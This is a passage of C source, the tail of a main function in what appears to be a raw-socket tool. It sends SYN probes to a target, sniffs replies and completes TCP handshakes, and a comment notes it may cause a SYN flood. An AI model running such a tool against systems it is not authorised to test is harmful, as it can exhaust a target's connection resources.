1038         inet_pton(AF_INET, o.target, &Target->daddr);
1039
1040         /* some option manipulation */
1041
1042         if (!o.skey[0]) {
1043                 strncpy(o.skey, DEFAULT_KEY, sizeof(o.skey));
1044                 if (o.verbose)
1045                         (void) fprintf(stdout, "using default skey: %s\n",
1046                                         o.skey);
1047         }
1048
1049         if (o.polltime > 0)
1050                 Sniffer->polltime = o.polltime;
1051         else {
1052                 if (o.verbose)
1053                         (void) fprintf(stdout, "using default pcap polling "
1054                         "time: %u microseconds\n", DEFAULT_POLLTIME);
1055                 Sniffer->polltime = DEFAULT_POLLTIME;
1056         }
1057
1058         if (o.probes > 0)
1059                 probes = o.probes;
1060         else {
1061                 if (o.verbose)
1062                         (void) fprintf(stdout, "using default number of probes"
1063                         ": %u\n", DEFAULT_NUM_PROBES);
1064                 probes = DEFAULT_NUM_PROBES;
1065         }
1066
1067         handle_payloads(Target);
1068         sniffer_init(Target, Sniffer);
1069
1070         /* main loop */
1071         while (probes) {
1072                 /* as it is, there is the possibility of sending more probes
1073                  * than we get, since pcap polling might time out - and we only
1074                  * care about completing as many requests as defined in $probes
1075                  * the additional probes that have not been answered will either
1076                  * create a syn flood or will have already been dropped
1077                  */
1078                 send_syn_probe(Target, Sniffer);
1079                 usleep(o.sleep);  /* wait a bit before each probe */
1080                 reply = check_replies(Target, Sniffer);
1081                 if (reply) {
1082                         complete_connection(reply, Target);
1083                         probes--; /* reduce probes left when we actually
1084                                    * complete a handshake */
1085                         free(reply);
1086                 }
1087         }
1088
1089         exit(EXIT_SUCCESS);
1090 }
1091
1092